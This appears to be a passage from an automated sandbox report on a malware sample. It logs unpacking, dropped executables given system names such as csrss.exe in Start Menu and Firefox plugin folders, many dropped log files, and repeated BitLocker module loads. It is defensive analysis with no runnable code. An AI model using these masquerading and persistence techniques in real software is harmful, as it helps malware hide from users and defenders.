Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Unpacked PE file: 0.2.fDTPlvsGfH.exe.2580000.4.unpack

.NET source code contains potential unpacker

Source: fDTPlvsGfH.exe, 1a2.cs	.Net Code: ghM System.Reflection.Assembly.Load(byte[])
Source: fDTPlvsGfH.exe, 857.cs	.Net Code: _736

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9B8B3CB9 push ebx; retf	0_2_00007FFD9B8B3CBA
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9BE561FB push ds; retn 5EFCh	0_2_00007FFD9BE5626F
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9BE575DD push edi; iretd	0_2_00007FFD9BE575DE
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9BE59525 push E8FFFFFFh; retf	0_2_00007FFD9BE59531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B76D2A5 pushad ; iretd	1_2_00007FFD9B76D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B88ADF8 push E9582DA2h; ret	1_2_00007FFD9B88AE29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B88BAC8 push E85700D7h; ret	1_2_00007FFD9B88BAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B952316 push 8B485F94h; iretd	1_2_00007FFD9B95231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B75D2A5 pushad ; iretd	2_2_00007FFD9B75D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B942316 push 8B485F95h; iretd	2_2_00007FFD9B94231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B76D2A5 pushad ; iretd	4_2_00007FFD9B76D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B952316 push 8B485F94h; iretd	4_2_00007FFD9B95231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B77D2A5 pushad ; iretd	6_2_00007FFD9B77D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B962316 push 8B485F93h; iretd	6_2_00007FFD9B96231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B78D2A5 pushad ; iretd	8_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B972316 push 8B485F92h; iretd	8_2_00007FFD9B97231B

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File written: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Jump to behavior

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\eFdBcvYu.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\KySWwqSG.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\iDXAsssK.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\UnQDGoMO.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\wiMZKnmL.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\DSloixRU.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\bXqTeyrX.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\owAZVXxy.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\aOmKVzXA.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\hMaKxNSp.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\nnwRMYdb.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\XgzcXCre.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\HFjxfdnr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\NyMWIIsf.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\fTLbMRgr.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\JCfvgtvD.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\AZWFwAgV.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\uodzyDCn.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\hPTsHewM.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\CVKgMxCZ.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\jsvAFsni.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\OvoeeIHa.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\DYQGISGu.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\lCRBFKSi.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\RoXDuWmq.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\AhGYbjHb.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\ssViDqmS.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\AHvxDOtC.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\hGwsXsdP.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\dZcBAhwS.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\TlyLQWBk.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\WjYUBCcj.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\OygMnZlw.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\zZCPRjnE.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\TcbLgjio.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\rqDqMXbo.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\ajmLslvZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\wlEHTDRh.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\ICLFBdCl.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\rhfqclHr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\qZchTloU.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\YVXcjCmC.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\uuIRZZqN.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\wacGgDMF.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\lFJjObwF.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\WKOtegOK.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\GOHxPPGn.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\LvueRqhB.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\luhiabrd.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\CKigYxxx.log	Jump to dropped file

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File created: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe

Jump to dropped file

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\hGwsXsdP.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\TcbLgjio.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\KySWwqSG.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\CVKgMxCZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\rhfqclHr.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\iDXAsssK.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\owAZVXxy.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\WjYUBCcj.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\LvueRqhB.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\DSloixRU.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\uodzyDCn.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\lFJjObwF.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\bXqTeyrX.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\RoXDuWmq.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\AhGYbjHb.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\hPTsHewM.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\XgzcXCre.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\OygMnZlw.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\wlEHTDRh.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\dZcBAhwS.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\TlyLQWBk.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\JCfvgtvD.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\AZWFwAgV.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\rqDqMXbo.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\user\Desktop\ajmLslvZ.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\WKOtegOK.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\AHvxDOtC.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\qZchTloU.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\HFjxfdnr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\nnwRMYdb.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\eFdBcvYu.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\NyMWIIsf.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\CKigYxxx.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\lCRBFKSi.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\jsvAFsni.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\aOmKVzXA.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\ICLFBdCl.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\zZCPRjnE.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\hMaKxNSp.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\OvoeeIHa.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\wiMZKnmL.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\luhiabrd.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\UnQDGoMO.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\ssViDqmS.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\YVXcjCmC.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\GOHxPPGn.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\wacGgDMF.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\fTLbMRgr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\DYQGISGu.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File created: C:\Users\user\Desktop\uuIRZZqN.log	Jump to dropped file

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Users\Default User\Start Menu\Programs\Accessories\886983d96e3d3e	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
